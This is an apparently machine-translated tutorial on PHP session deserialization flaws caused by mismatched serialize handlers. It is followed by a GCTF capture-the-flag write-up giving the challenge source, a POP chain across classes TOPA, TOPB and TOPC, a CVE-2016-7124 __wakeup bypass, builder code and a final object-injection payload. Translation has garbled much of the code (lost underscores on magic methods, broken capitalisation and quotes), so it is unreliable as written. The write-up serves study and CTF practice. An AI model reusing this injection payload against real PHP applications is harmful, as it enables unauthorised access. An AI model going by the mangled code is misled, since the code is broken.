An in-depth analysis of PHP's session Anti-serialization vulnerability problem

Source: Internet
Author: User
Tags php session ticket cve
This article mainly introduces the PHP session deserialization vulnerability problem, the need for friends can refer to the following

There are three configuration items in php.ini:

Session.save_path= ""  --set the session's storage path session.save_handler= ""--set the user-defined storage function, if you want to use the PHP built-in session storage mechanism can use this function ( Database, etc.) Session.auto_start  Boolen--Specifies whether the session module starts a session at the start of the request, the default is 0 does not start Session.serialize_handler  string-- Defines the name of the processor used for serialization/deserialization. Use PHP by default

The options above are those related to session storage and sequence session storage in PHP.

In the installation of the XAMPP component, the configuration items described above are set as follows:

Session.save_path= "D:\xampp\tmp"  indicates that all session files are stored under xampp/tmp session.save_handler=files     Indicates that the session is stored as a file session.auto_start=0        indicates that the default does not start sessionsession.serialize_handler=php    Indicates that the default sequence session engine for the session is using the PHP sequence session engine

In the above configuration, Session.serialize_handler is used to set the session engine of the sequence, in addition to the default PHP engine, there are other engines, different engines corresponding to the session is stored differently.

Php_binary: Stored by the length of the key name corresponding to the ASCII character + key name + after the Serialize () function serialization processing value

PHP: Stored by, key name + vertical bar + after serialize () function sequence processing value

Php_serialize (php>5.5.4): stored by the value of the Serialize () function serialization process

PHP is used by default PHP engine, if you want to modify the other engine, only need to add code ini_set (' Session.serialize_handler ', ' need to set the engine '); The sample code is as follows:

The Session Directory is in/var/lib/php/sessions.

<?phpini_set (' Session.serialize_handler ', ' php_serialize '); Session_Start (); $_session[' name '] = ' spoock '; var_ Dump ($_session);

Under the Php_serialize engine, the data stored in the session file is:

A:1:{s:4: "Name"; s:6: "Spoock";}

The contents of the file under the PHP engine are:

Name|s:6: "Spoock";

The contents of the file under the Php_binary engine are:

Names:6: "Spoock";

Because the length of name is EOT in the ASCII table. According to php_binary storage rules, the last is names:6: "Spoock";. (Suddenly found that the ASCII value of 4 characters can not be displayed on the page, this is to check the ASCII table yourself)

The serialization hazard in PHP session

The implementation of the session in PHP is not a problem, the harm is mainly due to improper use of the programmer's session.

If the engine used by PHP in deserializing the stored $_session data is not the same as the engine used for serialization, it will cause the data to be deserialized incorrectly. With well-constructed packets, you can bypass the validation of the program or implement some system methods. For example:

$_session[' ryat ' = ' | O:1: "A": 1:{s:1: "a"; S:2: "XX";} ';

PHP files such as:

<?phpini_set (' Session.serialize_handler ', ' php_serialize '); Session_Start (); $_session[' ryat '] = ' | O:1: "A": 1:{s:1: "a"; S:2: "XX";} ';

After accessing the session file, the contents are as follows:

Root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 a:1:{s:4: "Ryat"; s:30: "| O:1: "A": 1:{s:1: "a"; S:2: "XX";

But at this point the simulation on other pages using a different PHP engine to read the content is as follows: (by default, the PHP engine to read the session file)

<?php#ini_set (' Session.serialize_handler ', ' php_serialize '); Session_Start (); #$_session[' ryat '] = ' | O:1: "A": 1:{s:1: "a"; S:2: "XX";} '; Class A {public  $a = ' AA ';  function Wakeup () {    echo $this->a;  }} Var_dump ($_session);

Access this page output xx

Xxarray (1) {["A:1:{s:4:" Ryat "; s:30:" "]=> object (a) #1 (1) {  [" a "]=>  string (2)" XX "}}

This is because when using the PHP engine, the PHP engine will use | As the delimiter of key and value, then will be a:1:{s:4: "Ryat", s:30: "As the session key, will o:1:" A ": 1:{s:1:" a "; S:2:" xx ";} As value, then deserialize, and finally get the Class A.

This is the reason why the PHP session sequence is vulnerable because of the different engines used for serialization and deserialization. Vulnerability when loading a page that uses the PHP engine, the session reads the contents of the session and deserializes it, causing the vulnerability to be triggered without any output

GCTF on a session deserialization vulnerability analysis:

The contents of the index.php are:

<?php//error_reporting (E_error & ~e_notice); Ini_set (' Session.serialize_handler ', ' php_serialize '); Header (" Content-type;text/html;charset=utf-8 "); Session_Start (), if (isset ($_get[' src")) {  $_session[' src '] = $_get[' Src '];  Highlight_file (file);  Print_r ($_session[' src ');}? ><! DOCTYPE html>

In PHP, serialization operations are often used to access data, but in the process of serialization there are some security implications if improperly handled.

<form action= "./query.php" method= "POST" >    <input type= "text" name= "Ticket"/>        <input type= " Submit "/></form><a href="./?src=1 "> View source </a></body>

The content in query.php is:

/************************//*//query.php part Code session_start (); header (' Look Me  : Edit by Vim ~0~ ')//......class topa{public $token;  Public $ticket;  public $username;  Public $password; function login () {//if ($this->username = = $USERNAME && $this->password = = $PASSWORD) {//sorry $this->u Sername = = ' aaaaaaaaaaaaaaaaa ' && $this->password = = ' bbbbbbbbbbbbbbbbbb ') {return ' key is:{'. $this->tok    En. '} ';  }}}class topb{public $obj;  Public $attr;    function construct () {$this->attr = null;  $this->obj = null;    } function ToString () {$this->obj = unserialize ($this->attr);    $this->obj->token = $FLAG;    if ($this->obj->token = = = $this->obj->ticket) {return (string) $this->obj;  }}}class topc{public $obj;  Public $attr;    function Wakeup () {$this->attr = null;  $this->obj = null;  } function destruct () {echo $this->attr; }}*/

Ideas are as follows:

In this problem we construct a topc, which is called when the destruction occurs echo $this->attr; ;

Assigns the attr to the TOPB object, which automatically calls the ToString Magic method when the Echo TOPB

It is called in ToString unserialize($this->attr) because the token and ticket are used later, so obviously the Topa object. The subsequent judgment is required $this->obj->token === $this->obj->ticket , so a pointer reference is made at the time of serialization to $a->ticket = &$a->token; bypass the judgment.

As for why the (string)$this->obj flag is output, background write login may be ToString bar.

Where there will be a wakeup () function in the deserialization string to empty the parameters inside, I ask can be bypassed by a CVE: cve-2016-7124. You can bypass the wakeup function by changing the number of fields represented in object to a value larger than the actual field.

The final code is:

$testa = new Topa (); $TESTC = new TOPC (); $testb = new TOPB (); $testa->username = 0; $testa->password = 0; $testa->tic Ket = & $testa->token; $sa = serialize ($testa); $TESTC->attr = $testb; $testb->attr = $sa; $test = Serialize ($ TESTC); Echo $test;

The final payload are:

| O:4: "TOPC": 3:{s:3: "obj"; N;s:4: "attr"; O:4: "TOPB": 2:{s:3: "obj"; N;s:4: "attr"; s:84: "O:4: Topa": 4:{s:5: "token"; N;s:6: "Ticket"; R:2;s:8: "username"; I:0;s:8: "Password"; i:0;} ";}}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.